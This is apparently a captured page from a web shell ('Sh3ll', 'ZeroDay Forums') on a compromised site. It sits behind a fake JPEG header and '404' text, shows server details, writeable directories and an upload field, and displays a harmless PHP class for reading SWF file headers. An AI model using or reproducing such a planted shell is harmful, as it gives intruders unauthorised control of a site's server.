ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/lib/class_swfheader.php
<?php

//-----------------------------------------------------------------------------

// SWF HEADER - version 1.0

// Small utility class to determine basic data from a SWF file header

// Does not need any php-flash extension, based on raw binary data reading

//-----------------------------------------------------------------------------

//   SWFHEADER CLASS - PHP SWF header parser

//   Copyright (C) 2004  Carlos Falo Hervás

//   This library is free software; you can redistribute it and/or

//   modify it under the terms of the GNU Lesser General Public

//   License as published by the Free Software Foundation; either

//   version 2.1 of the License, or (at your option) any later version.

//-----------------------------------------------------------------------------

//

//VGR09062006 MOD function name & returned value of loadswf()

//            version 1.0.1

//

// TODO : Nil

//



class swfheader {

   var $debug ;            // Output DEBUG info

   var $fname ;            // SWF file analyzed

   var $magic ;            // Magic in a SWF file (FWS or CWS)

   var $compressed ;      // Flag to indicate a compressed file (CWS)

   var $version ;         // Flash version

   var $size ;               // Uncompressed file size (in bytes)

   var $width ;            // Flash movie native width

   var $height ;            // Flash movie native height

   var $valid ;            // Valid SWF file

   var $fps ;               // Flash movie native frame-rate

   var $frames ;            // Flash movie total frames

   //---------------------------------------------------------------------------    

   // swfheader($debug) :    Constructor, basically does nothing but initilize

   //                                 debug and data fields

   //---------------------------------------------------------------------------

   function swfheader($debug = false) {

      $this->debug = false ;

      $this->init() ;

     }

   //---------------------------------------------------------------------------    

   // init() : initialize the data fields to "empty" values

   //---------------------------------------------------------------------------

   function init() {

      $this->valid          = false ;

      $this->fname        = "" ;

      $this->magic         = "" ;

      $this->compressed = false ;

      $this->version       = 0 ;

      $this->width          = 0 ;

      $this->height         = 0 ;

      $this->size            = 0 ;

      $this->frames         = 0 ;

      $this->fps[]          = Array() ;

     }

   //---------------------------------------------------------------------------

   // loadswf($filename) : loads $filename and stores data from it's header

   //---------------------------------------------------------------------------

   //VGR09062006 MOD function name & returned value

   //

   function getDimensions($filename) { // returns String ; object has been updated

      $this->fname = $filename ;

      $fp = @fopen($filename,"rb") ;

      if ($fp) {

         $this->magic = fread($fp,3) ;

         if ($this->magic!="FWS" && $this->magic!="CWS") {

            $this->valid =  0 ;

         } else {

            // Compression

            if (substr($this->magic,0,1)=="C") $this->compressed = true ;

               else $this->compressed = false ;

            // version

            $this->version = ord(fread($fp,1)) ;

            // Size

            $lg = 0 ;

            // 4 LSB-MSB

            for ($i=0;$i<4;$i++) {

               $t = ord(fread($fp,1)) ;

               $lg += ($t<<(8*$i)) ;

               }

            $this->size = $lg ;

            // RECT... we will "simulate" a stream from now on... read remaining file

            $buffer = fread($fp,$this->size) ;

            if ($this->compressed) {

               // First decompress GZ stream

               $buffer = gzuncompress($buffer,$this->size) ;

               }

            $b   = ord(substr($buffer,0,1)) ;

            $buffer = substr($buffer,1) ;

            $cbyte    = $b ;

            $bits    = $b>>3 ;

            $cval    = "" ;

            // Current byte

            $cbyte &= 7 ;

            $cbyte<<= 5 ;

            // Current bit (first byte starts off already shifted)

            $cbit    = 2 ;

            // Must get all 4 values in the RECT

            for ($vals=0;$vals<4;$vals++) {

               $bitcount = 0 ;

               while ($bitcount<$bits) {

                  if ($cbyte&128) {

                     $cval .= "1" ;

                  } else {

                     $cval.="0" ;

                     }

                  $cbyte<<=1 ;

                  $cbyte &= 255 ;

                  $cbit-- ;

                  $bitcount++ ;

                  // We will be needing a new byte if we run out of bits

                  if ($cbit<0) {

                     $cbyte   = ord(substr($buffer,0,1)) ;

                     $buffer = substr($buffer,1) ;

                     $cbit = 7 ;

                     }

                 }

               // O.k. full value stored... calculate

               $c       = 1 ;

               $val    = 0 ;

               // Reverse string to allow for SUM(2^n*$atom)

               $tval = strrev($cval) ;

               for ($n=0;$n<strlen($tval);$n++) {

                  $atom = substr($tval,$n,1) ;

                  if ($atom=="1") $val+=$c ;

                  // 2^n

                  $c*=2 ;

                 }

               // TWIPS to PIXELS

               $val/=20 ;

               switch ($vals) {

                  case 0:

                     // tmp value

                     $this->width = $val ;

                  break ;

                  case 1:

                     $this->width = $val - $this->width ;

                  break ;

                  case 2:

                     // tmp value

                     $this->height = $val ;

                  break ;

                  case 3:

                     $this->height = $val - $this->height ;

                  break ;

                 }

               $cval = "" ;

              }

            // Frame rate

            $this->fps = Array() ;

            for ($i=0;$i<2;$i++) {

               $t          = ord(substr($buffer,0,1)) ;

               $buffer = substr($buffer,1) ;

               $this->fps[] = $t ;

               }

            // Frames

            $this->frames = 0 ;

            for ($i=0;$i<2;$i++) {

               $t          = ord(substr($buffer,0,1)) ;

               $buffer = substr($buffer,1) ;

               $this->frames += ($t<<(8*$i)) ;

               }

            fclose($fp) ;

            $this->valid =  1 ;

           }

      } else {

         $this->valid = 0 ;

        }

      if ($this->valid) {

         $this_width = $this->width;

         $this_height = $this->height;

         $swf_dimensions=$this->width."|".$this->height;

         return $swf_dimensions;

         }

       }   

   }

?>


ZeroDay Forums Mini